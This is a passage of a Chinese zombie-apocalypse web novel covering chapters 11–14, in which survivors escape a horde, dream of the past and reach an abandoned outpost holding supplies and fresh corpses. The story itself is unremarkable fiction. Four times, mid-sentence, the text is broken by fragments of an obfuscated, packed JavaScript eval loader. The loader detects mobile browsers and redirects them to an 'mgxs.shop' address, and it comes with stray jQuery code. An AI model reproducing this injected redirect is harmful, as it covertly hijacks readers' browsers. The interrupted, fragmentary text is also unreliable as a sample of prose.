卢双玲坐在副驾驶上,手里攥着一根铁棍,指节泛白。她的目光在尸群和后视镜之间来回切换,随时准备扑出去——虽然她也不知道扑出去能干什么。 后座上,封宵趴着窗户边,眼睛一眨不眨地看着外面。 “看到了吗?他在那儿。”封宵说。 卢双玲顺着他的目光看过去,林昼正朝着他们的方向走来。腐行尸从他身边走过,仍然对他视若无睹。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388022|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “怎么过去?”卢双玲声音发紧,“那么多腐行尸——” “别急。”封宵忽然开口,“你们看。” 林昼加快了脚步,他从尸群中穿出来,离车子越来越近。那些腐行尸终于有了反应——有几只停下来,空洞的眼眶转向他的方向。 “他过来了!”郭离的手攥紧方向盘,“准备——” 林昼跑到车边,拉开车门,几乎是摔进后座的。 “开车。”他说,喘着气,“快。” 郭离一脚油门踩到底。引擎轰鸣,车子冲出去。后视镜里,几只腐行尸追了几步,很快被甩在后面。 林昼靠在椅背上,大口喘气。 他的瞳孔开始涣散,药效一结束,强制休眠就会到来。 他知道这个。早就知道。 但那管简易药剂是他临时配的,副作用来得比预期的更快。 视线开始模糊。车顶的黑幕,窗外掠过的天空,前面郭离的后脑勺——一切都像隔着一层水。 一只温热的手,握住了他的手。 封宵的脸凑过来,很近。近到林昼能看清他睫毛的弧度,琥珀色眼睛里有自己的倒影。 “哥。”封宵温柔地说,“你做到了。” 林昼想说什么,嘴唇动了动,但发不出声音。 眼皮越来越重。 他用最后的意识,反握了一下封宵的手。 手指收紧,又松开。 然后世界陷入黑暗。 封宵没有动。 他握着那只垂下去的手,盯着林昼的脸看了很久。呼吸均匀,睫毛安静地覆着,像一个真的睡着的人。 “他怎么了?”卢双玲转过头,声音里带着不安。 “累了。”封宵说,“让他睡吧。” 他没有松开手。 车子继续往前开。社区的剪影向后退去,夕阳的余晖终于沉入地平线,天色暗下来。卢双玲打开车顶的照明灯,昏黄的光落在车厢里。 郭离从后视镜里看了一眼。 封宵还是那个姿势——握着林昼的手,看着他的脸,一动不动。 “那个……”郭离开口,想说什么。 封宵抬起头,目光在后视镜里和郭离撞上。那双琥珀色的眼睛里,什么情绪都没有。 郭离立刻把目光移开,盯着前方的路。 封宵开口:“开稳一点,别颠着他。” 郭离点点头,握紧方向盘,放慢了车速。 车厢里安静下来,只有引擎的嗡嗡声,和轮胎碾过碎石的细微响动。 卢双玲看看封宵,又看看昏睡的林昼,最后把目光移向窗外。夜色里,废墟的轮廓模糊成一片,偶尔有建筑的黑影掠过。 她想起刚才那一幕。 林昼从尸群里走出来,那些怪物从他身边经过,却没有一只碰他。 她见过很多疯狂的事。末日里,疯狂是常态,但她从没见过那样的画面。 “他……”她开口,又停住。 封宵没有看她:“他怎样?” 卢双玲闭上嘴。 车子继续往前开,驶入越来越浓的夜色。 封宵低下头,看着林昼的脸。昏黄的灯光落在他脸上,那张白皙的脸看起来比平时更安静,更像一尊易碎的瓷器。 他把林昼的手握得更紧了些。 然后他靠过去,把头轻轻抵在林昼的肩膀上,闭上了眼睛。 11. 虚实交替 封宵睡着了。 他不知道自己是什么时候睡着的。只记得一直握着林昼的手,后来卢双玲递过来一件外套,让他盖在身上。再后来,车子的颠簸变得规律起来,然后他看见了光。 不是车顶的车灯,是另一种让人感觉到柔和的,温暖的光。 他站在一片草地上。草很软,没过脚踝,风吹过来的时候,能闻到青草和泥土的气息。天空是那种旧时代照片里才有的蓝,云朵低低地挂着,像画上去的。 远处有一个女人的声音。 “……小王子问狐狸,‘驯服’是什么意思?” 封宵的心跳停了一拍,他转过身。 白色的木质长椅,放在一棵大树底下。阳光透过树叶的缝隙洒下来,落在那个女人身上。她的长发披在肩上,穿着一件淡色的连衣裙。 她的侧脸温柔而安静,手里捧着一本书:“狐狸说:‘驯服就是建立联系。’” 封宵站在那里,一动不动。他立刻认出了那个声音。 “……如果你驯服了我,我们就会需要彼此。对我来说,你将是世界上独一无二的;对你来说,我也会是世界上独一无二的。’” 女人的手指轻轻翻过一页书。阳光落在她的指尖上,那双手白皙而柔软。 “小王子说:‘我好像懂了。有一朵花……我想她驯服了我。’” 封宵迈开脚步。 他走得很轻,怕惊动了她。脚下的草软软的,没有声音。他一步一步走近那张长椅,走近那个女人。 她还是没有回头。 “狐狸说:‘你为你的玫瑰花费了时间,这才使你的玫瑰变得如此重要。’” 封宵走到长椅边上。他站在那里,低头看着那个女人。 她的长发垂在肩侧,发尾微微卷曲,侧脸很美,嘴角带着淡淡的笑意。她的声音还在继续: “小王子说:‘我的玫瑰是重要的,因为我为她花费了时间……’” “妈妈。” 女人的声音停住了。 她转过头来。 那张脸和记忆中一模一样。她看着他,眼睛里慢慢浮起笑意。 “宵。”她说,“你来了。” 封宵张了张嘴,却发不出声音。 女人合上书,放在膝盖上。阳光从头顶洒下来,风吹过草地,带来远处孩子们的笑声。 女人忽然站起来。她牵起封宵的手,指向不远处的游乐场—— 旋转木马在阳光下缓缓转动。彩色的马匹上下起伏,音乐声飘过来,是那种旧时代的老曲子,非常欢快。 封宵顺着她的手指看过去。 旋转木马旁边站着两个人。一个男孩,长得非常漂亮。他身边站着另一个男孩,正仰着头对他说话。 封宵愣住了。那是—— 他自己。 那个漂亮的男孩,是林昼。 “去玩吧。”女人的声音在耳边响起,“和哥哥一起。” 封宵转过头想问她什么,但她已经松开了他的手。 封宵走向旋转木马,他走近小时候的自己,看见他正扯着林昼的衣角,仰着脸说着什么。林昼低下头听他说话,嘴角有一点点笑意。 然后林昼伸出手,把那个小男孩抱起来,放在一匹白色的木马上。他自己爬上小男孩旁边的另一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388023|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匹木马,他们一起开始转圈。 两个人的笑声回荡在风里。 封宵侧过头,看着那个小男孩,又看看林昼,忽然也跟着笑起来。 旋转木马慢下来,最后停住。 封宵转过身,发现林昼不见了。 游乐场也不见了。 他又站在那片草地上。天阴了。 女人还坐在那张长椅上,长发失去了光泽,灰扑扑地搭在肩上。她的脸瘦了,眼窝陷下去,颧骨凸出来,脸色苍白得像纸。 她低着头,手里捧着一本相册,边角磨得发白。她翻着里面的照片,手指轻轻抚过每一页。她的脸上带着怀念,带着慈爱,带着某种说不清的悲伤。 封宵看见年幼的自己爬到长椅上,趴到女人怀里。 “漂亮吧?”女人指着照片里的小男孩,声音带着笑意。 封宵抬起头,女人正看着他。 “喜欢吗?”她问。 封宵用力地点头。 女人笑了,她把相册合上,递给他。 “送给你。” 封宵宝贝似得把相册抱在怀里,他再抬起头的时候,长椅已经空了。 灰白色的天空开始下坠,风呼啸着从耳边刮过。他猛地睁开眼。 车顶是昏黄的灯光。 他低下头,那本相册不在他手里。 但他手里握着林昼的手,始终没有松开。 林昼还在睡。 封宵盯着他的脸看了很久。 那张脸,开始和相册里那个男孩的脸慢慢重合。 他松开手,撑起身体。 车窗外,天快亮了。 12. 速度与激情 天灰蒙蒙的,路两旁是荒芜的田野,枯死的树木歪斜着,偶尔能看见几间坍塌的农舍。太阳升起来,把一切都照得清清楚楚,车子开过的地方越来越荒凉。 郭离把车开上道之后,才发现自己压根不知道去哪儿。 他看向后视镜。封宵靠着车窗,侧脸对着外面,不知道在想什么。卢双玲缩在副驾驶座上,抱着那根铁棍发呆。林昼依然还在沉睡。 他们现在是安全了。然后呢? 郭离握着方向盘,手指在上面轻轻敲了两下,终于开口问道:“那个……咱们往哪儿走啊?” 没人回答。 他清了清嗓子,又说了一遍:“我是说……我们现在应该去哪儿?” 卢双玲抬起头,看了他一眼,又低下头去。 封宵还是看着窗外。 他们这一路上都很顺畅。黄万山那伙人估计死完了——就算没死完,这会儿也没工夫追他们。 封宵的声音从后座传来,他终于把脸从车窗那边转过来:“当务之急是补充物资,你把导航仪打开。” 郭离愣了一下,然后伸手去够中控台上的开关。这辆车的构造和旧时代的车有很多地方不一样,摸索了半天,他终于找到车上导航仪的位置,他还以为那东西早就没信号了,毕竟卫星网络十八年前就瘫痪了。没想到屏幕亮起来,显示出了这一片的地图。 卢双玲也从车子的抽屉里翻出一张地图,展开来铺在膝盖上,拿出一只红笔开始做标记。 “我之前也和姐姐一起研究过。”提到姐姐,她的声音顿了一下。但她很快吸了吸鼻子,低头去看地图。 郭离先开口,手指在导航仪的地图上指了一个位置:“我之前是从东边来的。那边有个小镇,但我经过的时候已经烧光了,什么都没有。” “北边呢?”封宵问。 卢双玲摇摇头:“北边不能去。那边有变异体,很大一群。我和姐姐就是从那个方向逃过来的。”说着,她用笔在郭离指出的地方打了个叉。 封宵直起身盯着地图看了一会儿,然后他指着一个位置说:“去这里。” 郭离和卢双玲同时低头去看。 “安垣市。”卢双玲念出城市的名字,皱起眉,“这是最近的城市了吧?” “嗯。”封宵说,“离这里大概半天车程。” 郭离的表情变得有些微妙。他看了看地图,又看了看封宵:“城市?那个……城市里应该早就被搜干净了,还有人活着的地方肯定被翻过无数遍了。” “安垣市在病毒爆发初期就失守了,没有形成有效的幸存者据点。那种地方,不会有活人。” 卢双玲抬起头看他:“你怎么知道?” 封宵没有回答。他盯着地图上那个点,目光淡淡的,继续说:“安垣市里建筑密集,腐行尸多,是否有变异体还不能判断。” 郭离和卢双玲对视一眼。 “那……”郭离开口,“咱们就去安垣市?” 封宵点了点头,他的目光从地图上移开,落在郭离和卢双玲身上,漫不经心地开口:“对了——” “如果找不到物资的话,我会把你们俩扔下车。” 车厢里忽然安静了。 卢双玲抬起头,看着封宵。她的眼睛里先是茫然,然后是震惊,最后变成一种复杂的情绪。 “你……”她张了张嘴,声音发涩,“你说什么?” “我说,如果找不到物资的话。”他一字一顿,生怕卢双玲没听清楚,“就把你们扔下车。” 他顿了顿,又补充道:“等我哥醒了,我就告诉他是你们自己走的。” 郭离握着方向盘假装毫无不在意,但脸上的表情还是出卖了他:“你……你不是认真的吧?” 封宵眨了眨眼。 “你觉得呢?” 郭离没有说话,他盯着后视镜里的那双眼睛,试图从里面找到一点开玩笑的意思。 他找不到。 卢双玲忽然把地图往膝盖上一摔,声音大得吓人: “你他妈有病吧?!” 封宵看向她。 卢双玲的眼睛红了,不知道是因为愤怒还是别的什么。她瞪着封宵,胸口剧烈起伏。 “我姐死了!我什么都没了!我跟着你们是因为——” 她的话卡在喉咙里。因为什么?因为林昼救了她,觉得林昼是个好人?因为姐姐死了无依无靠?因为她不知道还能去哪儿? 她说不出来。 封宵看着她,身子靠回座位上,他低头看了林昼一眼,林昼并未被惊醒。 封宵脸上的不悦淡了一些,说道:“如果指望靠别人活下去,你一定会死。” 卢双玲盯着他看了好几秒。她的手微微发抖,最终镇定下来,把地图重新捡起来铺好。 郭离从后视镜里又看了封宵一眼,默默把目光移开,腾出一只手操作导航仪,调出安垣市的城市地图。 车厢里安静下来,郭离和卢双玲各自研究起地图。 封宵把外套往上拉了拉,盖在林昼身上。 终于,前方的地平线上,城市的轮廓再次出现。 不同于第七区外围那种被反复蹂躏后的破碎,这座城市的剪影显得相对完整。 虽然也能看到坍塌的高楼和断裂的高架桥,但大片大片的建筑群依然顽强地矗立着,沉默地诉说着昔日的繁华。 接近城市入口时候,几只肢体扭曲的腐行尸在门口边缘游荡,听到引擎声,迟钝地转过头,浑浊的眼珠茫然地望着这辆疾驰而过的车,随即又失去了兴趣。 车子驶过废弃的收费站,正式进入安垣市,林昼依然没醒。 封宵趴在车窗边,看着外面的城市一点一点从雾里浮现出来。街道宽阔,两旁是鳞次栉比的高楼,有的玻璃幕墙还完整,反射着灰白的天光,褪色的广告牌歪斜着,上面的字迹模糊难辨。 没有声音,没有人,没有任何活物的动静。只有他们的引擎声,在空旷的街道上回荡。 郭离下意识放慢了车速。 卢双玲没说话,但她把那根铁棍重新攥在手里,眼睛死死盯着窗外那些黑洞洞的楼宇入口。那些门洞和窗户像无数只眼睛,正盯着他们。 封宵的目光从窗外收回,落在中控台的导航仪上。屏幕上显示着安垣市的立体地图,但那些纵横交错的街道和建筑,此刻看起来像一张巨大的迷宫。 “开快点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388024|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”他说。 郭离愣了一下:“什么?” “我说开快点。”封宵的声音依然平静,但语气里有什么东西变了,“你没发现吗——” 他话没说完。远处传来一声低沉的嘶吼。 然后第二声。第三声。像石子投入死水,涟漪开始扩散。 郭离猛地踩下油门,车子向前冲去。 从街道两旁的建筑里,从巷子深处,从坍塌的废墟后面——无数腐行尸开始涌出来。它们迈着僵硬的步伐,空洞的眼眶对准疾驰的车子,喉咙里发出此起彼伏的嘶鸣。 卢双玲的瞳孔猛然收缩,她看见前方的路口已经被黑压压的尸群堵死,那些腐烂的身影挤在一起,像一堵移动的墙。 “掉头!快掉头!”她尖叫起来。 郭离猛打方向盘,车子甩过一个急弯,轮胎发出刺耳的摩擦声。后视镜里,尸群已经追上来,最近的几只几乎要碰到车尾。 封宵的身体随着惯性晃动,但他一只手撑着座椅,稳稳护住林昼。 车子冲进另一条街道。 这条更窄,两旁是密集的居民楼。腐行尸从每个单元门里涌出来,有的直接从楼上掉下来,砸在车顶上,发出沉闷的巨响。 “啊——!”卢双玲尖叫起来,本能地抱住头。 车顶的那只腐行尸没有掉下去,它趴在车顶上,腐烂的脸贴着挡风玻璃的上沿,浑浊的眼珠往下看。它的嘴里流下黏稠的液体,滴在玻璃上。 郭离猛踩刹车又猛踩油门,试图把它甩下去。 前方又是一个路口,涌出更多的腐行尸。 “左边!”封宵的声音从后座传来。 郭离来不及思考,本能地往左打方向盘。车子冲进小巷,两边的墙壁几乎擦着后视镜。 “右边!”封宵又喊。 郭离又往右,车子冲出小巷,回到一条稍宽的街道上。但这里—— 四面八方全是腐行尸。 它们像腐烂的潮水,从每一条缝隙里渗透出来,嘶吼声汇成一片。 郭离的手在抖,他的脑子里一片空白,只剩下一个念头:完了。 卢双玲缩在座位上,铁棍掉在脚边,双手捂着耳朵。 封宵的目光扫过窗外,又扫过中控台上那些复杂的按钮和屏幕。 “哥,醒醒。” 没有回应。 腐行尸越来越近,最近的几只已经开始拍打车门,砰砰砰的声音像死神的敲门声。 “哥。”封宵又喊了一遍,握着林昼的手收紧了些,“你再不醒,我们真要死在一起了。”说着封宵直起身子,去摸自己那把直刀,准备行动。 林昼的眼皮动了动。 窗外,一只腐行尸扑上来,腐烂的脸贴在车窗上,浑浊的眼珠几乎贴着玻璃往里看。 卢双玲终于崩溃了,她尖叫着,用脚踹那块玻璃,一边踹一边喊:“滚开!滚开!” 郭离已经放弃了思考,他本能地踩着油门,在尸群里横冲直撞。车子撞飞一只又一只,但更多的涌上来。 就在这时。 一只手按住了封宵的肩膀。 封宵猛地转过头。 林昼睁开了眼睛。 13. 信号 林昼的眼神依然有些涣散,但只过了两秒,马上变得清明起来。 “哥,你醒了。”封宵高兴得差点忘记“断腿”的事,意识到之后立刻丢掉直刀,坐回座椅,眼里露出对此刻此景不知所措的做派。 林昼迅速扫了眼窗外,目光回到中控台上,开口道:“郭离,把油门踩到底,直接往前冲,十秒后左转!” “立刻!” 郭离一脚油门踩到底,车子猛地向前冲去。 “十、九、八、七……”林昼开始倒数。 郭离不知道他在数什么,但他死死踩着油门,眼睛专注地盯着前方,丝毫不敢放松,神经紧绷到了极致。他甚至感觉自己的身体已经脱离了掌控,变成了听从指令的机器。 “……三、二、一……往左!” 郭离猛打方向盘,车子甩过一个急弯,车身几乎贴着地面漂移过去。卢双玲整个人撞在车门上,但她已经顾不上尖叫了。 “继续往前开。” 郭离照做。 林昼撑着座位直起身,一只手扶着封宵的肩膀保持平衡,另一只手伸向中控台。 他的手指在中控台的按钮上飞快划过,中控台上的屏幕忽然亮了。 不是之前简单的旧地图数据,而是一张全新的界面。屏幕上出现复杂的网格线,还有不断闪烁的光点。那些光点密密麻麻,一直在变化。 “这是什么?!” “生物能量探测。”林昼的手指在屏幕上划过,放大了其中一个区域。 “前方两百米,右转,尸群密度会变低。”网格线上的光点也正在变少。 郭离已经顾不上问了,他照着指令猛打方向盘,车子冲进一片废弃的广场。 “然后呢?”郭离喘着气问,“然后往哪儿走?” 林昼盯着屏幕,那些光点还在移动。 “看到对面那栋楼了吗?直接冲进地下车库!” 车子冲过广场,甩开几只冲过来的腐行尸,一头扎进地下车库的入口。 他们终于甩开尸潮,身后的嘶吼声越来越远,最后消失在黑暗里。 见屏幕上的红色光点消失,郭离把车停在一个角落里,熄了火。 车库里没有灯,四周一片漆黑,郭离将车灯打开,看见卢双玲蜷缩在一旁。 她把脸埋在手里,肩膀剧烈地颤抖,她感觉自己做了一个噩梦,结果发现这才是现实。 郭离趴在方向盘上,大口喘着气。他的后背已经被汗浸透,双手还在发抖。 封宵率先对着林昼笑了笑,说:“哥,还好有你。” 林昼看着他,没有说话。过了几秒,他伸出手,在封宵的头发上轻轻揉了一下。 然后他看向郭离和卢双玲,说:“休息五分钟,五分钟之后我们要离开这里。” 郭离从方向盘上抬起头,看着他:“可我们不是来寻找物资的吗?既然这里没有怪物,为什么不去这栋建筑里面找找?” 卢双玲的哭声渐弱,也抬起头看向林昼。 林昼从强制休眠中醒来不久,脸色不太好,但他声音依然平稳有力:“距离病毒爆发十多年了,你在这里找到物资的可能性几乎为零,不用白费力气了。” 可是封宵说过,如果找不到物资,他一定会把他们扔下。 郭离张了张嘴,又把出口的话咽了回去。 林昼低下头,继续操作那块屏幕,他的手指在网格线上划开,点开一个坐标栏,输入了一串长长的代码。屏幕闪烁了一下,跳出另一张全新的地图——地图上标注着一些奇怪的符号,郭离一个也不认识。 “你不用担心,我知道该去哪里补充物资。”林昼把安垣市的地图重新调出来,手指在某个位置上点了一下,“找到了,是这里!” 郭离凑过去看了一眼,那是一个远离市中心的地方,靠近城市边缘,周围标注着“工业区”的字样。从地图上看,那里什么都没有,只有一片空地。 他忍不住问道:“那里有什么?” 林昼沉默了一瞬,说:“浮罗达的外围哨站。” 浮罗达? 郭离愣住了。他听过这个名字,传说中那里是人类最后的堡垒,里面的人还过着旧世界的日子,和外面的世界是两个完全不同的维度。 林昼怎么会知道浮罗达的外围哨站?他是什么人? 郭离没有问,他知道自己不能问,他点点头:“你休息吧,我继续开。” 林昼看了他一眼,回了个“好”。他把哨站的坐标输入导航系统,屏幕上开始规划路线,避开安垣市里光点密集的区域,生成一条蜿蜒的路线。 “如果车子上的探测仪发出预警,就是前方有大量怪物,得绕行。” 郭离深吸一口气,握紧方向盘,发动车子,从另一个出口缓缓驶出地下车库。 车子穿行在安垣市的街道上。 正午的阳光从楼宇的缝隙里漏下来,落在破损的玻璃幕墙上,反射出刺眼的光。街道两旁许多被遗弃的车辆,已经变成了锈蚀的骨架。 卢双玲缩在副驾驶座上,一直没有说话,她把眼泪擦干净了,看起来好像不曾哭过,她看着窗外在心里暗暗做了一个决定。 封宵靠着车窗,他的左腿仍然缠着绷带。现在林昼坐在他旁边,正看着他的腿,让他有些心虚地看向窗外。 林昼突然问道:“腿感觉怎么样?” 封宵转过头,眨了眨眼:“还是挺疼的,但我能忍住,放心吧哥。” 林昼俯身过去,说:“让我看看。” 封宵的眼神闪了一下,身体本能地往后缩了缩,手指下意识攥紧了座椅的边缘。 “不用了哥。”他说着,笑了笑,“我没事的。” 林昼坐回去,平静地看着他。封宵迎着那个目光,脸上的笑容一点没变。 “真的没事。”他又说了一遍。 “那就等到了安全的地方我再给你换绷带。”林昼最终妥协,不再提他腿伤的事情。 封宵点点头,重新靠回座位上,他生平第一次因为害怕而心跳加速。 他低下头,看着自己那条“断”了的腿。绷带依然缠得很紧,夹板固定得很好,一切都和林昼刚包扎完的时候一模一样。 只有他自己知道,那层绷带底下,骨头已经长好了。 他侧过头,看向窗外。城市的废墟从车窗外掠过,阳光落在那些破碎的东西上,有一种说不出的荒凉。 封宵看着那些风景,忽然想起很久以前的事。 那时候他还小,大部分时间里,他都一个人待着,只有相册里的林昼陪着他,听他自言自语。 他经常趴在窗台上,看外面的人走来走去。偶尔出去一次,遇到的事情总是重复的。 “怪物……”有人小声说。 “他会不会吃我们?” “离他远点!” 他站在那里,阳光照在他身上,但他觉得冷。 那天晚上,他问妈妈:“妈妈,为什么他们都怕我?” 妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17388025|200290||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妈沉默了很久,告诉他:“你和别人不一样,但不一样不是错。” 他一直期待着见到哥哥的那天。 “妈妈,哥哥会喜欢……我吗?” 没有人回答他。 现在林昼就在身边,伸手就能碰到。 他看着窗外,看着那些掠过的废墟,在心里轻轻说道: 哥哥。 我不会让你发现的。 我不会让你知道我是个怪物。 太阳开始西斜,光线都变得柔和,车子的影子在地上拉得越来越长。 郭离看了一眼屏幕,哨站的坐标还亮着,但他们离那里还有很长的距离。按现在的速度,至少还要开三四个小时,但天快黑了。 林昼看着外面的天气,开口:“先找个地方安全的地方过夜吧。” 郭离点点头,放慢车速。林昼直起身,在屏幕上找到一个没有红色光点的区域。 “前面有个商场。”他说,“如果入口没堵,就直接开进去。” 商场很大,曾经应该是这座城市最繁华的地方之一,地下停车场的入口也还在。 郭离把车慢慢开进去,车灯照亮前方的坡道,他们一直开到地下三层。这里一辆车都没有,空旷得像一个巨大的墓穴。 卢双玲终于抬起头,看了看四周。黑暗中什么都看不见,只有车灯照出的那一小片光亮。 “我们……今晚就睡这儿?” 林昼点了点头:“车上过夜,轮流守夜。” 他顿了顿,看向车上的三人:“你们先睡吧,我来看着。如果没有异常,我不会叫醒你们。” 郭离:“……好。”他调整了一下座椅,立马靠下去,闭上眼睛,卢双玲见状也跟着闭眼休息。 封宵看着林昼的侧脸,车灯已经关了,只有仪表盘上微弱的荧光映出他的轮廓。 “哥。”他轻声喊道,林昼转过头,“晚安。” 林昼看着他,黑暗中看不清表情,但封宵感觉到他的手被轻轻握了一下。 “晚安。” 夜深了,地下三层的停车场一片死寂。 后半夜四个人都睡着了,后座上,封宵侧躺着,头枕在林昼肩上。林昼靠着车窗,闭着眼睛,他的手垂在身侧,指尖轻轻搭在封宵的手背上。 一切都很安静。然后—— “滋……” 中控台上,屏幕忽然亮了。 通讯频道的标志闪烁着,扬声器里传来刺耳的电流杂音。 “滋滋……沙沙……” 一阵刺耳的噪音后,从扬声器里断断续续传出嘈杂的声音,夹杂着激烈的枪声和惊恐绝望的喊叫: “……队长!怪物太多了!我们被冲散了!” “……保护……样本?不!!” 声音戛然而止,被什么东西打断。紧接着是一阵混乱的脚步声和尖叫声。 “……该死!信号消失!!” 另一个声音响起,更远一些,断断续续,像是通讯频道在切换。 “……组报告!发现……发现……踪迹!……朝西侧紧急通道去了!重复,……朝西侧通道去了!……好像……在躲避什么?!” “……啊——!救我!!” 最后是一声凄厉到极点的惨叫和令人牙酸的咀嚼声。 “……这里是……浮罗达安垣市哨站……不要靠近……” “滋滋……” 屏幕闪烁了两下,归于黑暗。 随即信号中断。 14. 安垣市哨站 天亮的时候,林昼醒了。封宵还靠在他肩上,呼吸均匀,一只手紧紧地攥着他,即使在睡梦中,也没有松开。 林昼抬起另一只手,去检查封宵的左腿。驾驶座上,郭离已经坐直了身体,他醒得比林昼更早,正盯着中控台的屏幕,突然开口道:“昨晚……昨晚好像有什么声音。” 林昼停下动作,看向他,问道:“什么声音?” 郭离摇摇头:“我也不确定,可能是做梦……” 林昼收回目光,指尖刚碰触到,封宵的眉头动了动。林昼的动作停住,屏息等了片刻,就听到封宵说到: “哥。”他的声音还带着睡意,“天亮了吗?” “嗯。”林昼收回手,“我们该出发了。” 郭离发动车子,重新驶入安垣市的街道。清晨的光线灰蒙蒙的,雾气还没散尽,像是有人给整座城市蒙上了一层面纱。 街道上仍然有腐行尸在游荡,听到车声,它们追在车后面。郭离一脚油门踩下去,把他们甩得老远。 慢慢的,商铺和居民楼逐渐变少,车子驶入一片工业区的外面,墙上的标语勉强认得出来几个字:安全、生产、责任。 他们快到目的地了。 这里的建筑比市中心低矮,大多是些厂房和仓库,外墙斑驳,没有一扇完整的窗户。街道上散落着破旧的集装箱和废弃的卡车。 林昼盯着中控台上的坐标,距离越来越近。 然后他看见一片空地,四周是坍塌的厂房和堆积的废墟,中间有块地是空的,一扇金属门突兀地露出地面。 郭离把车停在空地边缘,四个人看着那扇门,门是打开的状态。 卢双玲问道:“就是这里吗?门怎么是开的?” 林昼看了一眼那扇门,目光扫过周围的地面,没有暴力破坏的痕迹,不是炸药炸开的,没有强行进入的迹象。 浮罗达的安保系统相当高级,识别系统只会给有权限的人打开。 “你们在车上等。”林昼说着,伸手推开车门。 “哥,我也去。” 林昼回过头,封宵已经把腿从座位上挪下来,一只手撑着车门,一副随时要站起来的样子。 “你的腿不方便,就在车里等。” 封宵说:“你一个人进去,我不放心。” 郭离握紧方向盘,又松开,他深吸一口气,推开车门:“我跟你一起去。” 卢双玲没有说话,她跟着打开车门,抱着那根铁棍跳下车,站在郭离旁边。 林昼的目光从他们脸上扫过,两个昨天还在发抖的人,今天的目光变得格外坚定。 “那你们跟着来吧,封宵坐回车上去。”他转身走向那扇门。 门后是一条向下延伸的通道,感应到有人进入,灯光自动亮起,从头顶洒下来,照亮了通道两侧的金属墙壁。 脚步声在通道里回荡,林昼走在最前面,郭离和卢双玲紧跟在后。 通道尽头是一扇厚重的金属门,同样敞开着,门后是哨站的一层。 林昼停住脚步,他曾经见过浮罗达哨站的图纸,这里应该有三层,包括了生活区、仓储区、能源区、通讯室…… 现在进入的一整层都是物资,靠墙的货架上,码放着整整齐齐的军用口粮,包装完好,日期还是十八年前的,但保存技术先进。 旁边的架子上是饮用水,密封的金属罐,一罐一罐堆到了天花板。再往前,是药品区,各种抗生素、止痛药、消毒剂,标签清晰,排列整齐。 还有衣服,保暖的,防水的,各种尺寸堆叠在一起,另外还有工具和燃料,还有郭离和卢双玲从没有想到过的东西。 “我的天。”卢双玲的声音从他身后传来,“这么多……” 郭离没有说话,但林昼听见他深吸了一口气。 不过门开着,物资却都在,林昼皱起眉头,原以为在这里会遇上浮罗达的人。他站在原地,目光扫过那些货架,没有翻动的痕迹。 那门是怎么开的?那些人去哪了?他们为什么不拿物资? “林哥。”卢双玲的声音从后面传来,“那边有声音。” 林昼的神经瞬间绷紧,他侧耳倾听,在安静的氛围里他立刻捕捉到了那个声音,像电流的杂音,从旁边那扇门后传来。 “……滋……”是通讯设备。 林昼做了个手势,示意他们留在原地。他放轻脚步,向那扇门走去。 门后是一条走廊,走廊两侧有几扇门,有的开着,有的关着。通讯设备的声音从最里面那扇门后面传来。 林昼走过去,推开门,是武器库。 一整面墙的枪械挂在架子上,手枪,步枪,还有林昼不认识的一些型号。另一面墙上是弹药,每一箱都清楚地标注着型号和数量。 地上有三具尸体,穿着统一的作战服,胸口绣着浮罗达的标志。他们倒在地上,姿势扭曲,像死前经历过剧烈的挣扎。 林昼走过去,蹲下身查看,尸体上没有枪伤,只有抓痕和咬痕。脖子上,脸上,手上都有深可见骨的划痕。 这不是腐行尸做的。 腐行尸的咬痕是撕扯状的,而这些像某种锋利的爪子划过,咬合状显示它的牙齿长而尖锐。 尸体身上没有腐化的迹象,死了没多久——可能就在昨晚。 林昼的目光落在其中一个人腰间,那里挂着一个巴掌大的记录仪,指示灯还在闪烁。 他把记录仪取下来,按下播放键。 画面亮起,镜头在晃动,背景里是混乱的脚步声和急促的呼吸声,画面扫过走廊,然后镜头猛地一转,对准了身后的门。 门后传来嘶吼声和撞击声,砰砰砰的,像有什么东西在疯狂地砸门。 “门关上了!关上了!”有人喘着气喊,“它出不来!” 镜头又转回来,几个人靠在走廊的墙上,大口喘着气。他们的脸在画面里一闪而过——就是地上那三张脸。 “样本呢?”有人问。 